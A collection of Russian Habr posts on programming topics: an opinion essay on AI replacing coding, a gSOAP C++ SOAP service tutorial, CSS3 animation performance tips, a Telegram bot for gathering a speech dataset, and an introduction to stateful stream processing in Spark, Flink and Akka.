Искусственный интеллект (ИИ) меняет то, как мы работаем. Новые инструменты и системы создают мощные алгоритмы, которые позволяют машинам обучаться, чтобы оптимизировать процессы без команды программистов. Управление социальными сетями, инструменты маркетинга по электронной почте и генераторы преобразования текста в изображения — вот некоторые из функций, поддерживаемых ИИ, которые открывают новые горизонты для компаний. ИИ больше не является прерогативой докторов наук и специализированных программистов. Эти люди разработали интерфейсы и платформы, чтобы позволить другим, не имеющим этих специфических навыков, получить доступ к результату их работы.
На данный момент ИИ по-прежнему является специальностью программирования. Но использование ИИ на рабочем месте становится всё более распространённым. Мы видим больше инструментов ИИ в интегрированных средах разработки (IDE). Сейчас продвинутые IDE начинают дополнять то, что кодируют программисты. Не только предлагая, как завершить одну строку, но и предлагая сразу несколько строк кода.
Эти инструменты не обязательно должны приводить к смерти программирования. Модели и инструменты общего назначения, такие как OpenAI Codex и GitHub Copilot, предоставляют разработчикам ПО более широкий доступ к системам, использующим ИИ для написания кода, что экономит время и энергию. Тем не менее программисту придётся выполнять работу более высокого уровня, думая о том, какую функцию будет выполнять код и как организовать код, вместо того, чтобы писать каждую строку кода в своих программах.
Но программирование, в классическом понимании, устаревает. Традиционная идея «написания программы» находится на грани исчезновения в течение нескольких десятилетий. Для всех, кроме очень специализированных приложений, большая часть ПО в том виде, в каком мы его знаем, будет заменена системами ИИ, которые обучаются, а не программируются. В ситуациях, когда нужна «простая» программа, эти программы сами будут генерироваться ИИ, а не кодироваться вручную.
Когда-то, пионеры информатики твердо верили, что всем будущим учёным-компьютерщикам потребуется глубокое понимание полупроводников, двоичной арифметики и проектирования микропроцессоров, чтобы разрабатывать ПО. Сегодня почти 90 % тех, которые разрабатывают ПО, не имеют представления о том, как на самом деле работает процессор, не говоря уже о физике, лежащей в основе конструкции транзистора. А компьютерщики будущего будут настолько далеки от классических определений «программного обеспечения», что им будет трудно развернуть связанный список или внедрить быструю сортировку.
Все программы в будущем, в конечном счёте, будут написаны ИИ, а людям будет отведена контролирующая роль. Любому, кто сомневается в этом прогнозе, достаточно взглянуть на очень быстрый прогресс, достигнутый в других аспектах создания контента ИИ, таких как создание изображений. Разница в качестве и сложности между DALL-E v1 и DALL-E v2, о которых было объявлено всего 15 месяцев спустя, ошеломляет. Вещи, которые ещё несколько месяцев назад казались фантастикой, быстро становятся реальностью.
Не только CoPilot на Github или ChatGPT заменят программистов. Речь идёт о замене всей концепции написания программ обучающими моделями. В будущем студентам компьютерных наук не нужно будет изучать такие рутинные навыки, как добавление узла в двоичное дерево или программирование на C++. Такое образование устареет, как обучение студентов технических специальностей использованию логарифмической линейки.
Инженеры будущего в несколько нажатий клавиш запустят экземпляр модели с четырьмя квинтиллионами параметров, которая уже кодирует весь объём человеческих знаний, готовый к любой задаче, требуемой от машины. Основная часть интеллектуальной работы, направленной на то, чтобы заставить машину делать то, что нужно, будет заключаться в том, чтобы придумать правильные примеры, правильные данные для обучения и правильные способы оценки процесса обучения. Достаточно мощные модели, способные обобщать посредством обучения за несколько шагов, потребуют лишь нескольких хороших примеров выполнения задачи. Люди будут учить на собственном примере, а всё остальное сделает машина.
 | https://habr.com/ru/post/709310/ | null | ru | null |
# OpenID у хабра
Только что заметил в хедере хабра такие строчки:
Хабр собирается стать провайдером OpenID? и когда это будет? | https://habr.com/ru/post/47500/ | null | ru | null |
# Пишем веб сервис используя gSOAP
#### О чем речь?
Иногда в старом и добром C++ возникает потребность в реализации SOAP сервисов. Конечно, истинные любители программирования бросаются писать сервер самостоятельно, я же предпочитаю не тратить время впустую и использовать готовые библиотеки. Сегодня я хочу осветить (совсем чуть-чуть) тему использования библиотеки [gSOAP](http://www.cs.fsu.edu/~engelen/soap.html) в своих приложениях на C++ в качестве сервера.
#### Инструментарий
Я буду использовать [Visual Studio 2010 SP1](http://www.microsoft.com/visualstudio/en-us) в своём рассказе, однако сразу упомяну что gSOAP прекрасно работает и на других платформах и компиляторах, а не только на Windows.
Саму библиотеку можно скачать [тут](http://www.cs.fsu.edu/~engelen/soap.html) [http://www.cs.fsu.edu/~engelen/soap.html] (я использовал v2.8.2).
#### Постановка задачи
Требуется разработать сервис приема платежей (ну это я конечно вру), работающий по протоколу.
Система имеет всего один метод с псевдо-сигнатурой:
`void MakePayment([IN] int qty, [OUT]int& errorCode, [OUT]string& message)`
#### Поехали!
Процесс формирования кода сервера в gSOAP почти полностью автоматизирован. Внутри разработан свой язык описания сервисов, очень похожий по грамматике на Си с элементами "++". Так что нам не придется париться даже с изучением [WSDL](http://www.w3.org/TR/wsdl) (но вообще иметь представление о нём все же стоит).
Более того нам несказанно повезло, т.к. дистрибутив gSOAP уже содержит скомпилированные процессоры для этого языка под популярные платформы, включая Windows (уж поверьте, компилирование этого руками (да еще на Windows) врядли доставит вам удовольствие всвязи с большим количеством зависимостей от opensource библиотек, которые тоже придется собрать…).
Итак, лезем в каталог gsoap\bin\win32\ и видим там две программы. soapcpp2.exe отвечает как раз за то что нам надо – процессинг си-подобного языка описания сервиса в код сервера, клиентского прокси (если надо), wsdl описания и примеры soap request- reply- конвертов. Рядом лежит wsdl2h.exe – эта утилита позволяет прогнать WSDL описание сервиса и на выходе получить описание сервиса на си-подобном языке для дальнейшего использования в soapcpp2.exe. Нам понадобится только первая из них, т.к. описания сервиса на WSDL у нас пока нет.
Посмотреть справочную страницу возможно для каждой утилиты используя ключ **–help**. Я не стану перечислять тут все опции, т.к. многое нас устроит по умолчанию, а те опции, которые я использую, достаточно очевидны из справки.
#### Сервер
Начнем с описания сервиса. Оно производится в файлах обычно с расширением h. Назовем файл **paymentservice.h** и впишем туда буквально следующее:
```
//gsoap ns service name: paymentssl
//gsoap ns service style: rpc
//gsoap ns service encoding: encoded
//gsoap ns service namespace: urn:paymentssl
//gsoap ns service location: http://localhost:9999
//gsoap ns service method-action: MakePayment urn:MakePayment
typedef int xsd__int;
typedef char* xsd__string;
enum t__status // remote status:
{
STATE_OK, // ok
STATE_FAIL // fail to process
};
class t__result
{
public:
enum t__status errCode;
xsd__string message;
};
int ns__MakePayment(xsd__int qty, t__result* result);
```
Параметры для процессинга непосредственно SOAP сообщения задаются в виде «магического комментария» (первые строки). На них особо нет смысла останавливаться т.к. они являются почти копией стандартных SOAP-ких. Разве что формат method-action стоит пояснить — первым аргументом для него указывается имя метода, а вторым собственно SOAPAction.
Запускаем `soapcpp2.exe -2 -i -e paymentservice.h`
Поясню параметры:
* -2 — мы используем SOAP v1.2;
* -i — генерировать код C++ классов, наследуемых от структуры `soap`. Данная структура является частью сишного ядра gSOAP (в основе gSOAP лежит Си, поверх которого как обычно можно сделать C++ обертку);
* -e — генерировать биндинги в стиле SOAP RPC
Результатом станет кучка файлов. Разберем их по-порядку:
* `paymentssl.wsdl` – WSDL описание сервиса;
* `t.xsd` — типы, объявленные нами (в нашем случае туда попадет наш enum);
* `paymentssl.MakePayment.req.xml` и `paymentssl.MakePayment.res.xml` — примеры SOAP сообщений (Request и Reply части), которые должен будет принять/выдать сервис;
* `soappaymentsslProxy.cpp` и `soappaymentsslProxy.h` – код клиентской прокси;
* `soappaymentsslService.cpp` и `soappaymentsslService.h` – код серверной части;
* `paymentssl.nsmap` – константы, используемые сервером и клиентом при формировании SOAP заголовка;
* `soapC.cpp` и `soapH.h` – код парсера сообщений на Си;
* `soapStub.h` – заголовочная часть, описывающая классы, используемые сервером и клиентом.
Вот как выглядит полученное WSDL описание:
Пришло время заняться программированием сервера (в описании сервера присутствуют строки SSL, но про шифрование (а оно поддерживается) мы тут говорить пока не станем).
#### Программируем сервер
Создаем пустое консольное приложение, которое **не будет** использовать Precompiled Headers. И добавляем в проект сгенерированные файлы.
Проект приобретает вид:
В него также добавлены также файлы ядра gSOAP: `stdsoap2.cpp` и `stdsoap2.h`.
Я сразу добавил класс `PaymentServiceImpl`, в котором планирую реализовать сервис.
Для того чтобы всё собралось необходимо определить фунцию
```
paymentsslService::MakePayment(int qty, t__result *result)
```
Она виртуальная (но не чисто виртуальная), а мой класс имплементации `PaymentServiceImpl` наследован от `paymentsslService` и будет перегружать данную операцию, поэтому надо где-то объявить её как заглушку как-то так:
```
//
//implementation for generated code always return FAIL.
//This method will be override in PaymentServiceImpl class
//
int paymentsslService::MakePayment(int qty, t__result *result)
{
return SOAP_ERR;
}
```
Константа `SOAP_ERR` определена в `stdsoap2.h` среди прочих.
Также мы допишем реализцию перегруженной функции `MakePayment` в классе `PaymentServiceImpl`.
Пришло время наделить сервис логикой возврата сообщений об успехе операции с числовым кодом и текстовым сообщением.
Логика у нас будет следующая:
1) если qty<0 то мы генерируем исключение SOAP (SOAP FAULT)
2) если qty>100 то мы возращаем код ошибки FAIL с сообщением «error»
3) иначе возвращаем код ошибки OK и без сообщения
Итоговая реализация:
```
// PaymentServiceImpl.h
#pragma once
#include "Autogenerated/soappaymentsslService.h"
class PaymentServiceImpl : public paymentsslService
{
public:
virtual int MakePayment(int qty, t__result *result);
};
// PaymentServiceImpl.cpp
#include "PaymentServiceImpl.h"
#include "Autogenerated/paymentssl.nsmap"
/*virtual*/ int PaymentServiceImpl::MakePayment(int qty, t__result *result)
{
this->mode = this->mode | SOAP_C_UTFSTRING;
if(qty<0) {
this->soap_senderfault("error!", "The input parameter must be positive");
return SOAP_CLI_FAULT;
}
if(qty>100){
result->errCode = STATE_FAIL;
char err[] = "error (2)!";
int len=strlen(err);
result->message = reinterpret_cast(soap\_malloc(this, len+1));
strcpy\_s(result->message, len+1, err);
result->message[len] = '\0';
}
return SOAP\_OK;
}
```
Пришло время запустить сервис и проверить выдает ли он что-либо или вообще мы проделали весь путь зря.
Впишем main:
```
#include "PaymentServiceImpl.h"
int _tmain(int argc, _TCHAR* argv[])
{
const int SERVICE_PORT = 9999;
std::auto_ptr srv (new PaymentServiceImpl());
if (srv->run(SERVICE\_PORT))
{
srv->soap\_stream\_fault(std::cerr);
exit(-1);
}
return 0;
}
```
Также в целях отладки укажем препроцессору директиву DEBUG (студия ставит \_DEBUG).
Пришло время проверки, для которой нам понадобится клиент
#### Делаем клиент
Для демонстрации мы быстренько набросаем C# клиента, это очень просто (хотя на c++ не сложнее, я покажу на пример C# чтобы показать коммуникацию разнородных средств по единому протоколу (для чего собственно SOAP когда-то и задумывался)).
Добавим новый C# Console Project, далее добавим Service Refence в него. В качестве адреса укажем путь к файлу `paymentssl.wsdl`.
В свойствах проекта не забудем указать что мы используем .Net4, а не .NET4 Client Profile фреймворк.
Вот проверочный код:
```
var proxy = new PaymentService.paymentsslPortTypeClient();
string msg;
var errCode = proxy.MakePayment(out msg, 10);
```
*//
//да, у студии (а точнее утилиты [svcutil](http://msdn.microsoft.com/en-us/library/aa347733.aspx)) достаточно своеобразное понимание какие должны быть параметры,
//но тема «взамодействие с др. системами и gSOAP» достаточна обширна для этого введения
//*
Также надо поправить сгенерированный app.config, достаточно такого:
```
```
Вуаля, у нас есть клиент, который даже умеет вызывать сервис (можете проверить сами) используя SOAP протокол.
#### О чем я не рассказал
* шифрование потока средствами SSL используя OpenSSL
* авторизация клиентов по их сертификатам
* многопоточность сервера (сейчас это однопоточный вариант)
* кодировки строк
Если будет интересно, то быть может я опишу это отдельным постом (как появится время).
Спасибо всем и удачи с SOAP. | https://habr.com/ru/post/121853/ | null | ru | null |
# Как по маслу, или анимируем со скоростью 60 FPS на CSS 3
*Изображения и текст принадлежат их авторам.*
Анимация элементов в мобильных приложениях — это просто. *Правильная* анимация тоже может быть простой… если вы последуете представленным в статье советам.
Сегодня кто только не использует CSS 3 анимацию в своих проектах, тем не менее не только лишь все, но мало кто может делать это правильно. Даже описаны так называемые «лучшие практики», но люди продолжают делать всё по-своему. Скорее всего потому, что просто не понимают, почему всё устроено именно так, а не иначе.
Спектр мобильных устройств только и делает, что расширяется, поэтому если вы не оптимизируете свой код с учётом этого, такой подход рано или поздно даст о себе знать в виде тормозов приложения, с которыми будут сталкиваться ваши пользователи.
Запомните: не смотря на то, что в мире есть несколько флагманских девайсов, постоянно толкающих прогресс вперед, люди пользуются своим любимым антиквариатом, с которым им неохота расставаться.
Корректное использование CSS 3 устранит часть проблем, поэтому мы хотим помочь вам в понимании некоторых вещей.
Укрощая время
-------------
Что делает браузер в процессе рендеринга и управления всеми этими элементами на странице? Ответ — эта простая временная шкала, названная **CRP** (Critical Rendering Path).
Чтобы достичь плавности анимаций, нам необходимо сфокусироваться на изменении свойств, которые влияют на шаг **Composite**.
Стили
-----
Браузер начинает рассчитывать стили, чтобы применить их к элементам.
Каркас
------
На данном этапе браузер формирует и определяет позицию элементов на странице. Именно в этот момент браузер устанавливает атрибуты страницы, такие как ширина, высота, отступы и другие.
Отрисовка
---------
Браузер формирует элементы как отдельные слои, применяя к ним такие свойства, как **box-shadow**, **border-radius**, **color**, **background-color** и так далее.
Общая картина
-------------
Именно на данном этапе потребуется ваша магия, так как именно сейчас браузер отрисовывает все сформированные слои на экране. Современные браузеры отлично анимируют четыре вида свойств, оперируя трансформацией и полупрозрачностью.
1. **Позиция.** transform: translateX(*n*) translateY(*n*) translateZ(*n*);
2. **Масштабирование.** transform: scale(*n*);
3. **Поворот.** transform: rotate(*n*deg);
4. **Полупрозрачность.** opacity: *n*;
Как достичь отметки в 60 FPS
----------------------------
Давайте начнем с HTML и создадим простую структуру для меню приложения внутри контейнера `.layout`.
```
```
Неправильный путь
-----------------
```
.app-menu {
left: -300px;
transition: left 300ms linear;
}
.app-menu-open .app-menu {
left: 0px;
transition: left 300ms linear;
}
```
Заметили, какие свойства мы меняем? Необходимо избегать использования трансформаций со свойствами **left/top/right/bottom**. Они не позволяют создавать плавную анимацию, потому что заставляют браузер пересобирать слои каждый раз, а это подействует на все дочерние элементы.
Результат примерно такой:
Анимация тормозит. Мы проверили временную шкалу DevTools, чтобы посмотреть, что происходит на самом деле, и вот результат:
Картинка ясно показывает нестабильность FPS и, как следствие, низкую производительность.
Использование трансформаций
---------------------------
```
app-menu {
-webkit-transform: translateX(-100%);
transform: translateX(-100%);
transition: transform 300ms linear;
}
.app-menu-open .app-menu {
-webkit-transform: none;
transform: none;
transition: transform 300ms linear;
}
```
В отличие от вышеуказанных свойств, трансформации применяются к уже отрисованным блокам, то есть на стадии **Composite**. В примере выше мы как бы говорим браузеру, что перед началом анимации все слои уже будут отрисованы и готовы к манипуляциям.
Временная шкала показывает, что FPS стал более ровным, поэтому и анимация будет выглядеть несколько плавнее.
Анимация с использованием GPU
-----------------------------
Всё может быть ещё лучше. Для этого мы будем использовать графический ускоритель.
```
.app-menu {
-webkit-transform: translateX(-100%);
transform: translateX(-100%);
transition: transform 300ms linear;
will-change: transform;
}
```
В то время как **translateZ()** или **translate3d()** всё еще требуются некоторыми браузерами, как некий хак, будущее за свойством **will-change**. Оно указывает браузеру переместить элементы в отдельный слой так, чтобы он затем не проверял весь каркас на предмет сборки или отрисовки.
Видите, насколько плавной стала анимация? Таймлайн это подтверждает:
FPS стал ещё более стабильным, но всё же еще остается один медленный отрезок анимации в начале. Исходя из структуры меню, в JS обычно пишут примерно такую обработку:
```
function toggleClassMenu() {
var layout = document.querySelector(".layout");
if(!layout.classList.contains("app-menu-open")) {
layout.classList.add("app-menu-open");
} else {
layout.classList.remove("app-menu-open");
}
}
var menu = document.querySelector(".menu-icon");
menu.addEventListener("click", toggleClassMenu, false);
```
Проблема в том, что добавляя класс к контейнеру `.layout`, мы заставляем браузер пересчитывать стили еще раз, а это сказывается на скорости компоновки и отрисовки.
Как по маслу
------------
Но что если бы меню было расположено за областью видимости? Сделав это, мы задействовали бы только тот элемент, который действительно необходимо анимировать, то есть наше меню. Для ясности — структура HTML:
```
```
Теперь мы можем контролировать состояние меню несколько по-другому. Мы будем управлять анимацией через класс, который удаляется после того, как анимация заканчивается, используя событие **transitionend**.
```
function toggleClassMenu() {
myMenu.classList.add("menu--animatable");
myMenu.classList.add("menu--visible");
}
function onTransitionEnd() {
myMenu.classList.remove("menu--animatable");
}
var myMenu = document.querySelector(".menu"),
menu = document.querySelector(".menu-icon");
myMenu.addEventListener("transitionend", onTransitionEnd, false);
menu.addEventListener("click", toggleClassMenu, false);
```
Ну, а теперь всё вместе. Вашему вниманию полный пример CSS 3, где всё на своих местах:
```
.menu {
position: fixed;
left: 0;
top: 0;
width: 100%;
height: 100%;
overflow: hidden;
pointer-events: none;
z-index: 150;
}
.menu—visible {
pointer-events: auto;
}
.app-menu {
background-color: #fff;
color: #fff;
position: relative;
max-width: 400px;
width: 90%;
height: 100%;
box-shadow: 0 2px 6px rgba(0, 0, 0, 0.5);
-webkit-transform: translateX(-103%);
transform: translateX(-103%);
display: flex;
flex-direction: column;
will-change: transform;
z-index: 160;
pointer-events: auto;
}
.menu—-visible.app-menu {
-webkit-transform: none;
transform: none;
}
.menu-—animatable.app-menu {
transition: all 130ms ease-in;
}
.menu--visible.menu—-animatable.app-menu {
transition: all 330ms ease-out;
}
.menu:after {
content: ‘’;
display: block;
position: absolute;
left: 0;
top: 0;
width: 100%;
height: 100%;
background: rgba(0,0,0,0.4);
opacity: 0;
will-change: opacity;
pointer-events: none;
transition: opacity 0.3s cubic-bezier(0,0,0.3,1);
}
.menu.menu--visible:after{
opacity: 1;
pointer-events: auto;
}
```
А что показывает временная шкала?
Как-то так. | https://habr.com/ru/post/308006/ | null | ru | null |
# Телеграм бот для создания быстрого UI
В рамках своих проектов я часто сталкиваюсь с потребностью в разработке интерфейса и, так как я работаю с python, в моём арсенале присутствует большое количество разных библиотек, позволяющих генерировать интерфейс, начиная от страницы сайта и заканчивая сложной структурой окна. Но в большинстве случаев возможности, например библиотеки qt5, излишни для моих проектов, либо наоборот, ограничены тем, что я не могу запустить свой интерфейс на мобильном устройстве. Итак, перейдём к формализации проблемы:
Наш интерфейс должен иметь
* Возможность создания за 5 минут
* Создание клавиатуры, то есть набора кнопок
* Консоль, в которую мы можем сделать вывод всего того, что нас интересует
* Возможность запуска на мобильном устройстве (необходимо для ассистентов, информирования о процессе обучения и тд)
Когда я писал нормализацию задачи, я и представить не мог, насколько точно описываю Telegram бота. Но даже сейчас, используя в качестве решения Telegram, я понимаю, насколько сильно он расширяет мои возможности, при этом не забирая драгоценное время, потраченное на разработку.
Библиотеки Python
-----------------
Начнём с того что Python предлагает для разработки бота в Telegram
* [PyTelegramBotAPI](https://github.com/python-telegram-bot/python-telegram-bot) это библиотека, которая честности ради, попалась мне на глаза самой первой. Статья на [python.ru](https://pythonru.com/primery/python-telegram-bot) очень подробно описывает, как работать с данной библиотекой, реализуя самые нужные функции
* [AIOGram](https://github.com/aiogram/aiogram)
* [Telepot](https://github.com/nickoala/telepot)
Для своего решения я выбрал первую библиотеку и написал класс, который реализует default интерфейс. Теперь для того, чтобы создать интерфейс для моей программы, мне нужно написать одну строчку:
```
bot = Bot(file="Data/setting")
```
В file содержится информация об token и id пользователя, с которым общаемся. Если ее нет, то бот отвечает всем.
Вывод данных в моём решении занимает тоже одну строчку и это, с учётом создания побочных кнопок, логику которых я позже описываю. Кнопки я передаю как массив их наименований.
```
bot.send_message(text, ["Удалить пр запись", "Пропустить", "Конец"])
```
В данном примере создаются кнопки: Удалить пр запись (Удалить предыдущую запись, сокращенно для красоты интерфейса), Пропустить, Конец. Моя надстройка: [TelegramBot.py](https://github.com/TripleAVerAlpha/telegram_collecting_information)
Пример UI
---------
Теперь в качестве примера хотелось бы показать результат использования данного класса для создания кастомного UI. В качестве задачи возьмём создание датасета. Это задача, с которой я столкнулся во время разрабатывания своей нейронной сети по распознаванию речи. Итак, сначала пробежимся по функционалу, который должен реализовываться в данном интерфейсе: У нас должна быть возможность записать аудиодорожку, сохранить её на локальном компьютере и при этом сразу же сопоставить её с текстом. Чтобы не думать, что записано на аудио, я предлагаю сразу выдавать пользователю текст, который будет озвучиваться. Должен быть реализован словарь, что позволяет решить несколько вопросов:
* Пользователь не должен продумывать все варианты использования моего распознавания, что позволяет дать стороннему пользователю озвучить пару фраз, дабы расширить датасет.
* Программе не придётся думать, что находится на аудиодорожке, так как пользователь озвучивает то, что отдала сама программа.
* Я предполагаю, что словарь должен иметь возможность расширяться так, как за первый раз собрать словарь из всех команд будет проблематично. Это значит, что бот должен иметь возможность получить на вход команду, которую он запишет в словарь и в последующем будет выдавать нам для озвучивания.
* Также есть маленький нюанс который связан с тем, что при озвучивании могут произойти огрехи: ты оговорился или окружающие звуки помешали тебе озвучить эту фразу нормально, для таких моментов должна быть функция удаления предыдущей записи из датасета. В первом прототипе очень сильно недоставало этой функции, что засоряло датасет некоторыми не очень качественными записями.
Основываясь на этом предлагается такой план:
* Создаём словарь включающий в себя всю лексику, которая нас интересует
* Получив словарь команд, присылаем первую команду пользователю на озвучку
* Пользователь записывает голосовое сообщение, которое отправляет боту в ответ на его сообщение
* Бот сохраняет это голосовое сообщение на компьютере и записывает название файла и его расшифровку в описание датасета (manifest.csv).
* Также мне как создателю датасета хотелось бы знать, какое количество времени мы записали, и желательно - статистику по командам
* Чтобы пользователь не уставал от монотонных действий, предлагается случайным образом выбирать команды из словаря для озвучки, это может привести к тому что некоторые команды будут озвучены большее количество раз, чем другие.
Начнем с загрузки состояния:
```
if os.path.exists(param_file):
with open(param_file, "r") as f:
param = json.load(f)
else:
param = {
"record": False,
"record_text": ""
}
```
И описания датесата:
```
if os.path.exists("Data/manifest.csv"):
manifest = pd.read_csv("Data/manifest.csv", index_col=0)
else:
manifest = pd.DataFrame(columns=["Текст", "Файл"])
print(manifest)
```
Подключаем бота:
```
bot = Bot(file="Data/setting")
bot.send_message("Начинаю работу", ["Запись", "Статистика"])
```
Добавляем методы обработки входящих сообщений:
```
bot.del_message_reader()
bot.registration_message_reader(record, content_types=["voice"])
bot.registration_message_reader(get_message, content_types=["text"])
```
Сначала удалим эхо заглушку, а потом подключим свой функционал. record отвечает за получение голосовых сообщений, а get\_message - за текстовые.
Теперь запустим:
```
bot.start()
```
Теперь получим текстовое сообщение, бот передаст message в функцию get\_message:
```
def get_message(message):
global manifest, param
if "+" in message.text:
text = message.text.replace('+ ', '')
manifest = manifest.append({"Текст": text}, ignore_index=True)
manifest.to_csv("Data/manifest.csv")
bot.send_message(f"Добавляю: {text}")
```
Проверяем:
Все остальное реализуется аналогично, поэтому перейдем к голосу:
```
def record(message):
global manifest, param
if param["record"]:
src_filename = f"Data/Запись {len(manifest)}.ogg"
dest_filename = f"Data/WAV/Запись {len(manifest)}.wav"
bot.get_voice(message, src_filename)
outfile = open("out.txt", "w+")
process = subprocess.run(['ffmpeg', "-i", src_filename, dest_filename], stderr=outfile)
if process.returncode != 0:
raise Exception("Something went wrong")
else:
row = {"Текст": param["record_text"], "Файл": dest_filename.replace(".wav", ""), "Длительность": 0}
manifest = manifest.append(row, ignore_index=True)
manifest.to_csv("Data/manifest.csv")
nextString()
os.remove(src_filename)
```
Здесь есть маленькая проблема: Telegram работает с ogg, что не подходит для моего проекта, так что сразу зашьем конвертацию. Не смог найти хороший способ сделать это внутри Python, поэтому с помощью subprocess запустим ffmpeg в терминале, если все хорошо - записываем файл в manifest и удаляем ogg копию.
Результат
---------
Реализовав такого бота, мы получили возможность подключить к сбору датасета огромное количество людей, и единственный софт, который им нужен это Telegram с несколькими миллиардами пользователей. Со стороны разработки такой интерфейс занял тоже немного (5 минут с получением token и медленной печатью). На выходе получаем manifest.csv:
и папку WAV:
Полный код лежит в [git](https://github.com/TripleAVerAlpha/telegram_collecting_information). | https://habr.com/ru/post/593067/ | null | ru | null |
# Построение потоковой stateful обработки данных на Akka
В одном из исследовательских проектов нам с коллегами пришла идея совместить [Akka Stream](https://doc.akka.io/docs/akka/current/stream/index.html), [Akka event sourcing (typed persistence)](https://doc.akka.io/docs/akka/current/typed/persistence.html) и [Akka cluster sharding](https://doc.akka.io/docs/akka/current/typed/cluster-sharding.html) для реализации stateful stream processing. На мой взгляд, получилось достаточно интересное и лаконично решение, которым я бы и хотел с вами поделиться.
Disclaimer
----------
Все мысли, описанные в данной статье, представляют собой толкование автором его восприятия механизмов и фреймворков потоковой обработки данных и не претендуют на истину. Все приведенные ниже примеры выдуманы исключительно для данного материала на основе пережитого личного опыта. Код примеров написан на языке Scala. Автор приветствует исправления, корректировки и дополнения изложенной информации.
Потоковая обработка данных
--------------------------
Потоковая обработка данных – это архитектурный паттерн, при котором система обрабатывает данные, которые поступают (как правило, из бесконечных источников), и формирует результаты в реальном времени. “В реальном времени” – достаточно условное определение, поскольку какие-то задержки у нас будут всегда. Данная фраза обычно ставится в противовес пакетной обработке, в которой обычно обработка данных и формирование результатов запускается периодически, по расписанию.
Потоковая обработка достаточно востребована в отраслях, где есть необходимость в наиболее быстрой реакции на поток событий. В качестве примеров можно привести:
* борьбу с мошенничеством: фрод, атаки на инфраструктуру, детектирование аномального поведения;
* маркетинг в режиме реального времени (real-time offering): кредиты, скоринги, реклама;
* интернет вещей (IoT): обработка и реакция на данные с датчиков в различных областях (транспорт, промышленность).
При решении достаточно большого ряда бизнес-задач возникает необходимость в промежуточной агрегации данных, их аккумуляции, определении границ данных, и все это на бесконечном потоке. Подобные задачи всегда создавали проблемы при реализации потоковой обработки.
Еще одним примером усложненной задачи может служить фильтрация или обогащение одного бесконечного потока данных на основании другого бесконечного потока данных. Как правило, в таких задачах есть основной достаточно большой поток данных и второй медленно изменяющийся (slowly changing dimension), на основании которого как раз и происходит обогащение. Попробую привести пример.
Мониторинг сроков доставки груза в логистической компании. Есть основной огромный поток проводок грузов по всем складам компании: погрузка в рейс, выгрузка на склад, прием от клиента, выдача клиенту. И есть дополнительный поток данных, в котором независимо приходит клиентский срок доставки груза. Для мониторинга качества исполнения доставки нам необходимо завести state по каждому грузу, в котором будет храниться клиентский срок. Пропуская все проводки по грузам через данный state мы сможем рассчитывать прогнозируемое время доставки. Эту задачу можно немного усложнить, если, например, мы не можем гарантировать то, какое событие придет первым – клиентский срок или проводки по перемещению груза. В таком случае, проводки по грузам, для которых еще неизвестен клиентский срок, необходимо будет сохранять в state до получения информации по сроку доставки груза.
Для решения подобного класса задач в реальном времени как раз прекрасно подходит механизм stateful stream processing.
Stateful stream processing в современных фреймворках
----------------------------------------------------
На данный момент в экосистеме Java существует достаточно большое количество фреймворков, позволяющих построить масштабируемую и надежную потоковую обработку. На мой взгляд, самые популярные из них – это Apache Flink и Apache Spark.
Spark
-----
Stateful stream processing в spark structure streaming осуществляется при помощи операторов mapGroupsWithState и flatMapGroupsWithState. Эти операторы можно вызвать на KeyValueGroupedDataset, для этого исходный dataset нужно сгруппировать по ключу (метод groupByKey). На вход операторы принимают функцию со следующей сигнатурой:
```
(Key, Data, GroupState[S]]) => Output
```
Где Key –это ключ, по которому мы группировали наш dataset. Data – это коллекция сгруппированных по ключу элементов из нашего потока данных. GroupState[S] – интерфейс Spark, предоставляющий нам доступ (get, update, remove и т.д.) к нашему состоянию. Output – тип результата, который сформируется в dataset, возвращаемый после \*GroupsWithState оператора.
Другим словами, разработчику достаточно определить свою функцию, которая будет осуществлять stateful stream processing. Spark берет на себя всю работу по сохранению, поиску и загрузке состояния. Стоит отметить, что state будет привязан к ключу, по которому вы группировали исходный dataset, и в общем случае количество хранимых state будет равно количеству ключей, полученных на потоке данных. Однако, ничего не мешает вам удалять state по наступлению какого-либо события или по истечении определенного периода времени.
Более подробно про это можно почитать в [официальной документации](https://spark.apache.org/docs/latest/structured-streaming-programming-guide.html#arbitrary-stateful-operations), а [здесь](https://databricks.com/blog/2017/10/17/arbitrary-stateful-processing-in-apache-sparks-structured-streaming.html) – посмотреть на хороший пример.
Flink
-----
Работа с потоковым состоянием во Flink в чем-то похожа на Spark. Точно также, чтобы начать работу со state, вам необходимо сгруппировать исходный DataStream при помощи метода keyBy. Далее необходимо определить свой оператор, используя [rich function](https://ci.apache.org/projects/flink/flink-docs-release-1.13/docs/dev/datastream/user_defined_functions/#rich-functions). Внутри данного оператора, при помощи RuntimeContext вы можете создать любой из flink state примитивов, который позволит взаимодействовать со state при обработке элементов DataStream. В число этих примитивов входят:
* ValueState - самый простой вариант для чтения обновления конкретного значения;
* ListState – коллекция хранимых элементов;
* MapState – абстракция над state в виде ассоциативного массива (ключ - значение);
* ReducingState и AggregatingState, которые позволяют осуществлять агрегацию состояния при добавлении элементов.
Более подробно про потоковую обработку через состояния во Flink можно почитать в официальной документации: [Flink Stateful Stream Processing](https://ci.apache.org/projects/flink/flink-docs-release-1.13/docs/concepts/stateful-stream-processing/) и [Flink Working with State](https://ci.apache.org/projects/flink/flink-docs-release-1.13/docs/dev/datastream/fault-tolerance/state/).
Оба описанных выше механизма “из коробки” позволяют буквально в несколько десятков строк реализовать потоковую обработку с использованием состояния. Более того, фреймворки Flink и Spark изначально позиционируют себя как легко-масштабируемые. Если вы при помощи них собрали приложение для потоковой обработки, то его без каких либо переработок можно запустить как на одной машине, так на десятках (а может и сотнях) серверов.
Akka stream stateful processing
-------------------------------
В Akka stream, к сожалению, мне не удалось найти механизмов, которые позволят с такой же легкость строить stateful stream processing автоматическим сохранением, поиском и загрузкой состояния. Довольно распространенным подходом является использование асинхронных этапов обработки (mapAsync), в которых вручную осуществляется поиск, загрузка и сохранение состояния в хранилищах данных.
Прежде, чем переходить к описанию реализации, давайте немного поговорим об используемых фреймворках экосистемы Akka. Все эти фреймворки “под капотом” используют actor model, при этом для пользователя (разработчика) сами акторы могут быть очень хорошо скрыты за высокоуровневыми абстракциями.
Akka Stream
-----------
Akka Stream – это и есть основной фреймворк для потоковой обработки данных, самый простой пример можно реализовать буквально в несколько строк:
```
import akka.actor.ActorSystem
import akka.stream.scaladsl._
implicit val actorSystem: ActorSystem = ActorSystem("my-system")
val wordsSource = Source.single("Hello akka stream!")
val printSink = Sink.foreach[String](println)
wordsSource.mapConcat(w => w.split(" ")).toMat(printSink)(Keep.right).run()
```
